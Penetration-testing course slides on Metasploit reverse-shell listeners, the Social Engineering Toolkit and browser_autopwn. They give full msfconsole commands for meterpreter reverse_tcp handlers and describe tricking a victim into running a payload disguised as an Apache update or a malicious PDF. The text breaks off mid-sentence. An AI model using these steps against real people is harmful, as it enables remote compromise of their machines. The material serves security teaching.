UNIT 5 Pentest
UNIT 5 Pentest
Once we have generated a payload, we need to setup a listener, which would accept
reverse connections once the payload gets executed on our target system. The following
command will start a meterpreter listener on the IP address 192.168.44.134 on port
8080:
msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 8080;
run; exit -y"
Now, we have sent the payload
disguised as an Apache update
to our victim. The victim
needs to execute it in order to
complete the exploit:
As soon as the victim executes the apache-update.exe file, we get an active meterpreter
session back on the listener we setup earlier (as shown in the following screenshot):
Introduction to Social Engineering Toolkit (SET)
● Social engineering is an art of manipulating human behavior in order to bypass the security
controls of the target system.
● The Social Engineering Toolkit (SET) is a powerful open-source tool designed for penetration testers, ethical
hackers, and security professionals to simulate social engineering attacks.
● Kali Linux, by default, has a powerful social engineering tool, which seamlessly integrates with
Metasploit to launch targeted attacks. In Kali Linux, the Social-Engineering Toolkit is located
under Exploitation Tools | Social Engineering Toolkit.
3. Select option 1 to use Windows Reverse TCP Shell as the payload for our exploit. Then,
set the IP address of the attacker's machine using the LHOST variable (in this case, it's
192.168.44.134) and the port to listen on (in this case, 443).
4. Meanwhile, we also need to start a listener, which will accept the reverse meterpreter
connection from our target. We can start a listener using the following command:
msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 443;
run; exit -y"
5. On the other end, our victim received the PDF file and tried to open it using Adobe
Reader.
6. Back on the listener end (on the attacker's system), we have got a new meterpreter
shell! We can see this in following screenshot:
Advanced Browser-Based Attacks using browser_autopwn
1. Cross-Site Scripting (XSS): Injecting malicious scripts into web pages, exploiting user trust to execute unauthorized actions in
their browsers.
2. Drive-By Downloads: Automatically delivering malware when users visit compromised websites, exploiting vulnerabilities in
the browser.
3. Social Engineering: Manipulating users through psychological tactics to click on malicious links or disclose sensitive
information.
4. Man-in-the-Browser (MitB): Installing malware on users' systems to intercept and manipulate web traffic, often targeting login
credentials.
5. Clickjacking: Concealing malicious actions beneath seemingly harmless clickable elements on a webpage.
Overview of browser_autopwn module:
● Browser Autopwn is the easiest and quickest way to explicitly test browser vulnerabilities without having the user
to painfully learn everything there is about each exploit and the remote target before deployment.
● This auxiliary module works in the following sequence: